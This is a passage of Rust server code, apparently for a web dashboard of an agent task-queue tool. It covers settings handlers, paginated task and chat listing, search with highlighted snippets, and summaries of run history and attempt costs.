4466 body.push_str("\n... diff truncated ...");
4467 }
4468 Ok((
4469 [
4470 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4471 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4472 ],
4473 body,
4474 ))
4475}
4476
4477#[derive(Debug, Serialize)]
4483struct TaskView {
4484 #[serde(flatten)]
4485 task: Task,
4486 source_label: String,
4487 source_link: Option<SourceLink>,
4488 status_str: &'static str,
4489 instruction_md: Vec<md::Node>,
4493 waits_on: Vec<String>,
4497 stuck_roots: Vec<String>,
4500}
4501
4502impl From<Task> for TaskView {
4503 fn from(task: Task) -> Self {
4504 Self {
4505 source_label: task.source.label(),
4506 source_link: source_link(&task.source),
4507 status_str: task.status.as_str(),
4508 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4509 waits_on: Vec::new(),
4510 stuck_roots: Vec::new(),
4511 task,
4512 }
4513 }
4514}
4515
4516impl TaskView {
4517 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4518 let waits_on = inv.waits_on(&task);
4519 let stuck_roots = inv
4520 .stuck_roots(&task)
4521 .iter()
4522 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4523 .collect();
4524 Self {
4525 waits_on,
4526 stuck_roots,
4527 ..Self::from(task)
4528 }
4529 }
4530}
4531
4532#[derive(Debug, Default, Deserialize)]
4535#[serde(default)]
4536struct ReposQuery {
4537 refresh: u8,
4538}
4539
4540async fn repos_list(
4547 State(ui): State<Arc<Ui>>,
4548 Query(q): Query<ReposQuery>,
4549) -> ApiResult<Json<Vec<repos::Repo>>> {
4550 let refresh = q.refresh != 0;
4551 blocking(move || {
4552 let (cfg, _) = Config::discover(&ui.repo, None)?;
4553 Ok(Json(ui.repos_cache.list(
4554 &cfg.repos.roots,
4555 Duration::from_secs(cfg.repos.scan_ttl),
4556 refresh,
4557 )))
4558 })
4559 .await
4560}
4561
4562#[derive(Debug, Default, Deserialize)]
4564struct SettingsQuery {
4565 repo: Option<PathBuf>,
4566}
4567
4568fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4572 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4573 let paths: Vec<PathBuf> = ui
4574 .machine_config
4575 .iter()
4576 .filter(|p| p.is_file())
4577 .cloned()
4578 .collect();
4579 if paths.is_empty() {
4580 Ok(Config::autodetected())
4581 } else {
4582 Config::load_layers(&paths)
4583 }
4584 });
4585 let mut known = cfg
4586 .map(|cfg| {
4587 ui.repos_cache.list(
4588 &cfg.repos.roots,
4589 Duration::from_secs(cfg.repos.scan_ttl),
4590 refresh,
4591 )
4592 })
4593 .unwrap_or_default();
4594 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4595 if !known.iter().any(|r| r.path == path) {
4596 known.push(repos::Repo {
4597 name: path
4598 .file_name()
4599 .unwrap_or_default()
4600 .to_string_lossy()
4601 .into_owned(),
4602 path,
4603 });
4604 }
4605 known
4606}
4607
4608fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4609 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4610 let canonical = requested.canonicalize().ok();
4611 let mut known = settings_repositories(ui, false);
4612 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4613 if !known.iter().any(matches) {
4614 known = settings_repositories(ui, true);
4615 }
4616 let repo = known
4617 .iter()
4618 .find(|r| matches(r))
4619 .map(|r| r.path.clone())
4620 .ok_or_else(|| ApiError {
4621 text_reason: None,
4622 status: StatusCode::UNPROCESSABLE_ENTITY,
4623 message: "Choose a known repository from the Settings selector.".to_owned(),
4624 })?;
4625 Ok((repo, known))
4626}
4627
4628async fn settings_get(
4632 State(ui): State<Arc<Ui>>,
4633 Query(q): Query<SettingsQuery>,
4634) -> ApiResult<Json<settings::SettingsView>> {
4635 blocking(move || {
4636 let (repo, known) = settings_context(&ui, q)?;
4637 Ok(Json(settings::view_with_repos(
4638 &repo,
4639 ui.machine_config.as_deref(),
4640 &known,
4641 )))
4642 })
4643 .await
4644}
4645
4646#[derive(Debug, Deserialize)]
4648#[serde(deny_unknown_fields)]
4649struct RolesBody {
4650 revision: String,
4652 #[serde(default)]
4654 roles: std::collections::BTreeMap<String, Vec<String>>,
4655 #[serde(default)]
4659 counts: std::collections::BTreeMap<String, serde_json::Value>,
4660}
4661
4662async fn settings_put_roles(
4668 State(ui): State<Arc<Ui>>,
4669 Query(q): Query<SettingsQuery>,
4670 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4671) -> ApiResult<Json<settings::SettingsView>> {
4672 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4673 blocking(move || {
4674 let (repo, known) = settings_context(&ui, q)?;
4675 settings::save_with_repos(
4676 &repo,
4677 ui.machine_config.as_deref(),
4678 &body.revision,
4679 &body.roles,
4680 &body.counts,
4681 &known,
4682 )
4683 .map(Json)
4684 .map_err(|e| match e {
4685 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4686 settings::SaveError::Refused(m) => ApiError {
4687 text_reason: None,
4688 status: StatusCode::UNPROCESSABLE_ENTITY,
4689 message: m,
4690 },
4691 settings::SaveError::Internal(m) => ApiError::internal(m),
4692 })
4693 })
4694 .await
4695}
4696
4697async fn queue_list(
4698 State(ui): State<Arc<Ui>>,
4699 Query(q): Query<ListQuery>,
4700) -> ApiResult<Json<Vec<TaskView>>> {
4701 blocking(move || {
4702 let tasks = ui.queue.list();
4703 let inv =
4704 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4705 Ok(Json(
4706 tasks
4707 .into_iter()
4708 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4709 .map(|t| TaskView::with_inventory(t, &inv))
4710 .collect(),
4711 ))
4712 })
4713 .await
4714}
4715
4716#[derive(Debug, Default, Deserialize)]
4721struct PageQuery {
4722 before: Option<String>,
4723}
4724
4725#[derive(Serialize)]
4726struct StorePage<T> {
4727 rows: Vec<T>,
4728 next: Option<String>,
4729}
4730
4731const STORE_PAGE_SIZE: usize = 16;
4732
4733#[derive(Debug)]
4737struct ListWalk {
4738 token: u64,
4739 talks: bool,
4740 opened: std::time::Instant,
4741 ids: Arc<Vec<String>>,
4742}
4743
4744fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4745 let mut walks = ui
4746 .monitor
4747 .list_walks
4748 .lock()
4749 .unwrap_or_else(PoisonError::into_inner);
4750 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4751 let (token, ids, offset) = if let Some(cursor) = q.before {
4752 let (token, offset) = cursor
4753 .split_once(':')
4754 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4755 let token = token
4756 .parse::<u64>()
4757 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4758 let offset = offset
4759 .parse::<usize>()
4760 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4761 let walk = walks
4762 .iter()
4763 .find(|walk| walk.token == token && walk.talks == talks)
4764 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4765 (token, walk.ids.clone(), offset)
4766 } else {
4767 let root = if talks {
4768 ui.talks.root()
4769 } else {
4770 ui.queue.root()
4771 };
4772 let mut ids = crate::queue::record_ids(root, "json")?;
4773 ids.sort_unstable_by(|a, b| b.cmp(a));
4774 let ids = Arc::new(ids);
4775 let mut token = crate::rng::entropy();
4776 while walks.iter().any(|walk| walk.token == token) {
4777 token = crate::rng::entropy();
4778 }
4779 if walks.len() >= 16 {
4782 walks.remove(0);
4783 }
4784 walks.push(ListWalk {
4785 token,
4786 talks,
4787 opened: std::time::Instant::now(),
4788 ids: ids.clone(),
4789 });
4790 (token, ids, 0)
4791 };
4792 if offset > ids.len() {
4793 return Err(ApiError::bad_request("Invalid list cursor"));
4794 }
4795 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4796 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4797 Ok((ids[offset..end].to_vec(), next))
4798}
4799
4800async fn queue_page(
4801 State(ui): State<Arc<Ui>>,
4802 Query(q): Query<PageQuery>,
4803) -> ApiResult<Json<StorePage<TaskView>>> {
4804 blocking(move || {
4805 let (ids, next) = page_ids(&ui, false, q)?;
4806 let tasks: Vec<_> = ids
4807 .into_iter()
4808 .filter_map(|id| ui.queue.get(&id).ok())
4809 .collect();
4810 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4811 let rows = tasks
4812 .into_iter()
4813 .map(|task| TaskView::with_inventory(task, &inv))
4814 .collect();
4815 Ok(Json(StorePage { rows, next }))
4816 })
4817 .await
4818}
4819
4820#[derive(Serialize)]
4824struct TalkListView {
4825 id: String,
4826 repo: PathBuf,
4827 agent: String,
4828 status: talk::TalkStatus,
4829 turns: Vec<TalkListTurn>,
4830 thinking: bool,
4831 context: talk::ContextUsage,
4832 created_at: Timestamp,
4833 updated_at: Timestamp,
4834}
4835
4836#[derive(Serialize)]
4837struct TalkListTurn {
4838 who: talk::Who,
4839 at: Timestamp,
4840 body: String,
4841}
4842
4843async fn talks_page(
4844 State(ui): State<Arc<Ui>>,
4845 Query(q): Query<PageQuery>,
4846) -> ApiResult<Json<StorePage<TalkListView>>> {
4847 blocking(move || {
4848 let (ids, next) = page_ids(&ui, true, q)?;
4849 let rows = ids
4850 .into_iter()
4851 .filter_map(|id| ui.talks.get(&id).ok())
4852 .map(|talk| TalkListView {
4853 thinking: ui.is_thinking(&talk.id),
4854 context: talk::context_usage(&talk, None),
4855 turns: talk
4856 .turns
4857 .iter()
4858 .map(|turn| TalkListTurn {
4859 who: turn.who,
4860 at: turn.at,
4861 body: turn
4862 .body
4863 .lines()
4864 .next()
4865 .unwrap_or_default()
4866 .chars()
4867 .take(240)
4868 .collect(),
4869 })
4870 .collect(),
4871 id: talk.id,
4872 repo: talk.repo,
4873 agent: talk.agent,
4874 status: talk.status,
4875 created_at: talk.created_at,
4876 updated_at: talk.updated_at,
4877 })
4878 .collect();
4879 Ok(Json(StorePage { rows, next }))
4880 })
4881 .await
4882}
4883
4884async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4885 blocking(move || {
4886 let tasks = ui.indexed_tasks()?;
4887 Ok(Json(TaskCountsView::from(
4888 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4889 )))
4890 })
4891 .await
4892}
4893
4894const SEARCH_MAX_HITS: usize = 100;
4896const SEARCH_MAX_QUERY: usize = 200;
4898const SEARCH_MAX_TERMS: usize = 8;
4899const SNIPPET_BEFORE: usize = 50;
4901const SNIPPET_AFTER: usize = 110;
4902
4903#[derive(Debug, Deserialize)]
4905struct SearchQuery {
4906 #[serde(default)]
4907 scope: String,
4908 #[serde(default)]
4909 q: String,
4910}
4911
4912#[derive(Debug, Serialize, PartialEq, Eq)]
4915struct SnippetPart {
4916 text: String,
4917 hit: bool,
4918}
4919
4920#[derive(Debug, Serialize)]
4921struct SearchHit {
4922 id: String,
4923 field: String,
4925 snippet: Vec<SnippetPart>,
4926 #[serde(skip_serializing_if = "Option::is_none")]
4930 run: Option<RunSummary>,
4931}
4932
4933#[derive(Debug, Serialize)]
4934struct SearchView {
4935 scope: String,
4936 q: String,
4937 hits: Vec<SearchHit>,
4939 total: usize,
4941 truncated: bool,
4942 unreadable: usize,
4945}
4946
4947fn text_leaves<'a>(
4950 value: &'a serde_json::Value,
4951 field: &'a str,
4952 out: &mut Vec<(&'a str, &'a str)>,
4953) {
4954 match value {
4955 serde_json::Value::String(s) => out.push((field, s)),
4956 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4957 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4958 _ => {}
4959 }
4960}
4961
4962fn fold_char(c: char) -> char {
4965 c.to_lowercase().next().unwrap_or(c)
4966}
4967
4968fn search_terms(q: &str) -> Vec<String> {
4970 let mut terms: Vec<String> = Vec::new();
4971 for t in q.split_whitespace() {
4972 let t = t.to_lowercase();
4973 if !terms.contains(&t) {
4974 terms.push(t);
4975 }
4976 }
4977 terms
4978}
4979
4980fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4983 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4984 let mut first: Option<usize> = None;
4985 for term in terms {
4986 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4987 first = Some(first.map_or(at, |f| f.min(at)));
4988 }
4989 let (field, text) = leaves[first?];
4991 Some(SearchHit {
4992 id: String::new(),
4993 field: field.to_owned(),
4994 snippet: snippet_of(text, terms),
4995 run: None,
4996 })
4997}
4998
4999fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5002 let chars: Vec<char> = text.chars().collect();
5003 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5004 let needles: Vec<Vec<char>> = terms
5005 .iter()
5006 .map(|t| t.chars().map(fold_char).collect())
5007 .collect();
5008 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5009 let mut best: Option<(usize, usize)> = None;
5010 for n in needles.iter().filter(|n| !n.is_empty()) {
5011 if n.len() > chars.len() || to == 0 {
5015 continue;
5016 }
5017 let last = (to - 1).min(chars.len() - n.len());
5018 if from > last {
5019 continue;
5020 }
5021 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5022 && best.is_none_or(|(b, _)| i < b)
5023 {
5024 best = Some((i, i + n.len()));
5025 }
5026 }
5027 best
5028 };
5029 let Some((start, _)) = find(0, chars.len()) else {
5030 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5032 return vec![SnippetPart {
5033 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5034 hit: false,
5035 }];
5036 };
5037 let lo = start.saturating_sub(SNIPPET_BEFORE);
5038 let hi = (start + SNIPPET_AFTER).min(chars.len());
5039 let mut parts: Vec<SnippetPart> = Vec::new();
5040 let mut push = |s: &[char], hit: bool| {
5041 if s.is_empty() {
5042 return;
5043 }
5044 let text: String = s.iter().collect();
5045 match parts.last_mut() {
5046 Some(p) if p.hit == hit => p.text.push_str(&text),
5047 _ => parts.push(SnippetPart { text, hit }),
5048 }
5049 };
5050 if lo > 0 {
5051 push(&['\u{2026}'], false);
5052 }
5053 let mut at = lo;
5054 while at < hi {
5055 match find(at, hi) {
5056 Some((s, e)) => {
5057 push(&chars[at..s], false);
5058 let shown = e.min(hi);
5060 push(&chars[s..shown], true);
5061 at = shown;
5062 }
5063 None => {
5064 push(&chars[at..hi], false);
5065 at = hi;
5066 }
5067 }
5068 }
5069 if hi < chars.len() {
5070 push(&['\u{2026}'], false);
5071 }
5072 let mut prev_space = false;
5075 for p in &mut parts {
5076 let mut out = String::with_capacity(p.text.len());
5077 for c in p.text.chars() {
5078 if c.is_whitespace() {
5079 if !prev_space {
5080 out.push(' ');
5081 }
5082 prev_space = true;
5083 } else {
5084 out.push(c);
5085 prev_space = false;
5086 }
5087 }
5088 p.text = out;
5089 }
5090 parts.retain(|p| !p.text.is_empty());
5091 parts
5092}
5093
5094fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5096where
5097 I: IntoIterator<Item = (String, serde_json::Value)>,
5098{
5099 for (id, doc) in docs {
5100 let mut leaves = Vec::new();
5101 leaves.push(("id", id.as_str()));
5104 text_leaves(&doc, "", &mut leaves);
5105 if let Some(mut hit) = search_document(terms, &leaves) {
5106 view.total += 1;
5107 if view.hits.len() < SEARCH_MAX_HITS {
5108 hit.id = id;
5109 view.hits.push(hit);
5110 }
5111 }
5112 }
5113 view.truncated = view.total > view.hits.len();
5114}
5115
5116fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5123 let opener = talk
5124 .turns
5125 .iter()
5126 .find(|t| t.who == crate::talk::Who::Operator)
5127 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5128 .unwrap_or("");
5129 let title: String = if opener.chars().count() > 96 {
5130 opener.chars().take(95).chain(['\u{2026}']).collect()
5131 } else {
5132 opener.to_owned()
5133 };
5134 let turns: Vec<serde_json::Value> = talk
5135 .turns
5136 .iter()
5137 .map(|t| {
5138 let who = match t.who {
5139 crate::talk::Who::Operator => "operator",
5140 crate::talk::Who::Agent => "agent",
5141 };
5142 serde_json::json!({ who: t.body })
5143 })
5144 .collect();
5145 serde_json::json!({ "title": title, "turns": turns })
5146}
5147
5148async fn search_get(
5155 State(ui): State<Arc<Ui>>,
5156 Query(q): Query<SearchQuery>,
5157) -> ApiResult<Json<SearchView>> {
5158 let query = q.q.trim().to_owned();
5159 if query.is_empty() {
5160 return Err(ApiError::bad_request("q must not be empty"));
5161 }
5162 if query.chars().count() > SEARCH_MAX_QUERY {
5163 return Err(ApiError::bad_request(format!(
5164 "q is longer than {SEARCH_MAX_QUERY} characters"
5165 )));
5166 }
5167 let terms = search_terms(&query);
5168 if terms.len() > SEARCH_MAX_TERMS {
5169 return Err(ApiError::bad_request(format!(
5170 "q has more than {SEARCH_MAX_TERMS} terms"
5171 )));
5172 }
5173 let scope = q.scope;
5174 if scope != "runs" && scope != "tasks" && scope != "chats" {
5175 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5176 }
5177 blocking(move || {
5178 let mut view = SearchView {
5179 scope: scope.clone(),
5180 q: query,
5181 hits: Vec::new(),
5182 total: 0,
5183 truncated: false,
5184 unreadable: 0,
5185 };
5186 if scope == "runs" {
5187 let mut unreadable = 0;
5188 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5192 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5193 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5194 Some(v) => Some((id, v)),
5195 None => {
5196 unreadable += 1;
5197 None
5198 }
5199 }
5200 });
5201 search_docs(&terms, docs, &mut view);
5202 view.unreadable = unreadable;
5203 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5206 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5207 for hit in &mut view.hits {
5208 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5209 hit.run = summarize(
5210 [state],
5211 &open_runs,
5212 &claimed,
5213 &superseded,
5214 |p| probe.borrow_mut().status(p),
5215 |p| probe.borrow_mut().started_at(p),
5216 )
5217 .pop();
5218 }
5219 }
5220 } else if scope == "chats" {
5221 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5222 view.unreadable = unreadable;
5223 search_docs(
5224 &terms,
5225 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5226 &mut view,
5227 );
5228 } else {
5229 let docs = ui.queue.list().into_iter().filter_map(|t| {
5230 let mut v = serde_json::to_value(&t).ok()?;
5231 if let Some(o) = v.as_object_mut() {
5234 o.insert("filed_by".to_owned(), t.source.label().into());
5235 }
5236 Some((t.id, v))
5237 });
5238 search_docs(&terms, docs, &mut view);
5239 }
5240 Ok(Json(view))
5241 })
5242 .await
5243}
5244
5245#[derive(Debug, Serialize)]
5247struct TaskRunView {
5248 n: usize,
5250 id: String,
5251 short: String,
5252 kind: &'static str,
5254 status: Option<&'static str>,
5256 readable: bool,
5258 provisional: bool,
5260 description: String,
5262 outcome: String,
5264 created_at: Option<Timestamp>,
5265 pr: Option<String>,
5266 exit: RunExit,
5268 attempt: AttemptCost,
5270 exit_label: String,
5273 later_pass: Option<usize>,
5276 pass_n: usize,
5280 passes_of_run: usize,
5281 pass: Option<PassView>,
5284 branch: Option<String>,
5286 badge: Option<String>,
5289}
5290
5291#[derive(Debug, Clone, PartialEq, Serialize)]
5293struct PassView {
5294 index: usize,
5295 resumed: bool,
5296 started_at: Timestamp,
5297 ended_at: Option<Timestamp>,
5298 end: &'static str,
5300 cause: Option<crate::run::ParkCause>,
5301 label: String,
5303 cost: Option<crate::queue::PassCost>,
5306}
5307
5308impl PassView {
5309 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5310 use crate::run::PassEnd;
5311 let (end, cause, label) = match &p.end {
5312 None => ("open", None, "still open".to_owned()),
5313 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5314 Some(PassEnd::Unrecorded) => (
5315 "unrecorded",
5316 None,
5317 "stopped without recording why (a crash, a kill or a restart; not known)"
5318 .to_owned(),
5319 ),
5320 };
5321 Self {
5322 index: p.index,
5323 resumed: p.resumed,
5324 started_at: p.started_at,
5325 ended_at: p.ended_at,
5326 end,
5327 cause,
5328 label,
5329 cost: settled.map(|t| t.cost),
5330 }
5331 }
5332}
5333
5334#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5336#[serde(rename_all = "snake_case")]
5337enum RunExit {
5338 Unreadable,
5339 Interrupted,
5341 Parked,
5342 QuotaStall,
5343 ResumedQuotaStall,
5347 Merged,
5348 Ready,
5349 Superseded,
5350 AlreadyInBase,
5353 Stalled,
5355 HeldWithPr,
5357 NoopHeld,
5358 Spent,
5360 InProgress,
5361}
5362
5363#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5364#[serde(rename_all = "snake_case")]
5365enum AttemptCost {
5366 Spent,
5367 Refunded,
5368 None,
5369 Unknown,
5371}
5372
5373impl RunExit {
5374 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5375 let Some(s) = s else {
5376 return Self::Unreadable;
5377 };
5378 let status = s.status;
5379 if resumed_later {
5380 Self::Interrupted
5381 } else if s.parked {
5382 Self::Parked
5383 } else if !status.done() {
5384 Self::InProgress
5385 } else if matches!(status, RunStatus::Merged) {
5386 Self::Merged
5387 } else if matches!(status, RunStatus::Ready) {
5388 Self::Ready
5389 } else if matches!(status, RunStatus::Superseded) {
5390 Self::Superseded
5391 } else if matches!(status, RunStatus::AlreadyInBase) {
5392 Self::AlreadyInBase
5393 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5394 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5395 {
5396 if resumed {
5397 Self::ResumedQuotaStall
5398 } else {
5399 Self::QuotaStall
5400 }
5401 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5402 Self::HeldWithPr
5403 } else if matches!(status, RunStatus::VerifiedNoop) {
5404 Self::NoopHeld
5405 } else if matches!(status, RunStatus::Stalled) {
5406 Self::Stalled
5407 } else {
5408 Self::Spent
5409 }
5410 }
5411
5412 fn cost(self) -> AttemptCost {
5413 match self {
5414 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5415 Self::Merged
5416 | Self::Ready
5417 | Self::Stalled
5418 | Self::HeldWithPr
5419 | Self::NoopHeld
5420 | Self::Spent => AttemptCost::Spent,
5421 Self::InProgress => AttemptCost::None,
5422 Self::AlreadyInBase => AttemptCost::Refunded,
5423 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5424 AttemptCost::Unknown
5425 }
5426 }
5427 }
5428
5429 fn edge_label(self, status: Option<&str>) -> String {
5431 match self {
5432 Self::Unreadable => "record unreadable".to_owned(),
5433 Self::Interrupted => "interrupted before the run finished".to_owned(),
5434 Self::Parked => "parked, attempt refunded".to_owned(),
5435 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5436 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5437 Self::Merged => "merged".to_owned(),
5438 Self::Ready => "ready, not merged".to_owned(),
5439 Self::Superseded => "superseded by a later attempt".to_owned(),
5440 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5441 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5442 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5443 Self::NoopHeld => "verified no-op".to_owned(),
5444 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5445 Self::InProgress => "in progress".to_owned(),
5446 }
5447 }
5448
5449 fn explains(self, end: TaskStatus) -> bool {
5452 match self {
5453 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5454 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5455 Self::Unreadable | Self::Superseded | Self::Ready => true,
5456 _ => end != TaskStatus::Done,
5457 }
5458 }
5459}
5460
5461#[derive(Debug, Serialize)]
5463struct TaskDetailView {
5464 #[serde(flatten)]
5465 task: TaskView,
5466 max_attempts: usize,
5469 history: Vec<TaskRunView>,
5470 passes_total: usize,
5473 runs_distinct: usize,
5475 flow: FlowView,
5476 followup_origin: Option<FollowUpOrigin>,
5478 runs_unreadable: usize,
5480 attempts_note: &'static str,
5482}
5483
5484const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5485and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5486on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5487the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5488
5489fn review_branch_of(instruction: &str) -> Option<&str> {
5492 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5493 rest.split('`').next().filter(|b| !b.is_empty())
5494}
5495
5496#[derive(Default)]
5498struct RunSlot<'a> {
5499 n: usize,
5501 resumed: bool,
5503 resumed_later: Option<usize>,
5505 prior: Option<(&'a str, RunStatus)>,
5507 last: bool,
5508 pass: Option<&'a crate::run::RunPass>,
5510 settled: Option<&'a crate::queue::TaskPass>,
5512 pass_n: usize,
5514 passes_of_run: usize,
5515}
5516
5517fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5520 let RunSlot {
5521 n,
5522 resumed,
5523 resumed_later,
5524 prior,
5525 last,
5526 pass,
5527 settled,
5528 pass_n,
5529 passes_of_run,
5530 } = at;
5531 let short = run::short_of(id).to_owned();
5532 let Some(s) = state else {
5533 return TaskRunView {
5534 n,
5535 id: id.to_owned(),
5536 short,
5537 kind: "unknown",
5538 status: None,
5539 readable: false,
5540 provisional: false,
5541 description:
5542 "This run's record could not be read by this build (written by a different \
5543 magi, or removed), so what kind of attempt it was is unknown."
5544 .to_owned(),
5545 outcome: String::new(),
5546 created_at: None,
5547 pr: None,
5548 exit: RunExit::Unreadable,
5549 attempt: AttemptCost::Unknown,
5550 exit_label: RunExit::Unreadable.edge_label(None),
5551 later_pass: resumed_later,
5552 pass_n,
5553 passes_of_run,
5554 pass: None,
5555 branch: None,
5556 badge: None,
5557 };
5558 };
5559 let branch = review_branch_of(&s.instruction);
5560 let kind = if resumed {
5561 "resume"
5562 } else if branch.is_some() {
5563 "review"
5564 } else if task.solo || s.candidates.len() == 1 {
5565 "solo"
5566 } else {
5567 "competition"
5568 };
5569 let mut description = match kind {
5570 "resume" => {
5571 format!("Resumed run {short}: the same run carried on instead of competing again.")
5572 }
5573 "review" => format!(
5574 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5575 branch.unwrap_or_default()
5576 ),
5577 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5578 _ => format!(
5579 "Competition: {} candidates judged blind.",
5580 s.candidates.len().max(1)
5581 ),
5582 };
5583 if !resumed && let Some((p, st)) = prior {
5584 description.push_str(&format!(
5585 " A retry: run {p} before it ended {}.",
5586 st.display_label()
5587 ));
5588 }
5589
5590 let status = s.status;
5591 let provisional = matches!(status, RunStatus::Stalled)
5592 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5593 let head = if resumed_later.is_some() {
5594 String::new()
5595 } else {
5596 match status {
5597 RunStatus::Merged => "Merged.".to_owned(),
5598 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5599 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5600 RunStatus::AlreadyInBase => {
5601 "Already in the base: this change landed under other commits, nothing was left to land."
5602 .to_owned()
5603 }
5604 RunStatus::Stalled => {
5605 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5606 .to_owned()
5607 }
5608 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5609 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5610 RunStatus::VerifiedNoop => {
5611 "Verified no-op: the candidates found nothing to change.".to_owned()
5612 }
5613 other if other.done() => format!("Ended {}.", other.display_label()),
5614 other => format!("In progress ({}).", other.display_label()),
5615 }
5616 };
5617 let view = pass.map(|p| PassView::of(p, settled));
5618 let recorded_end = view
5619 .as_ref()
5620 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5621 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5622 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5623 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5624 None => "whether its attempt was handed back was not recorded",
5625 };
5626 let pass_note = if passes_of_run > 1 {
5627 format!(
5628 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5629 )
5630 } else {
5631 String::new()
5632 };
5633 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5634 let cause = match v.end {
5636 "parked" => format!("It was stopped on purpose: {}.", v.label),
5637 _ => format!("It {}.", v.label),
5638 };
5639 format!(
5640 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5641 capitalise(cost_words)
5642 )
5643 } else if let Some(k) = resumed_later {
5644 let cause = if s.quota.is_empty() {
5651 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5652 } else {
5653 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5654 };
5655 format!(
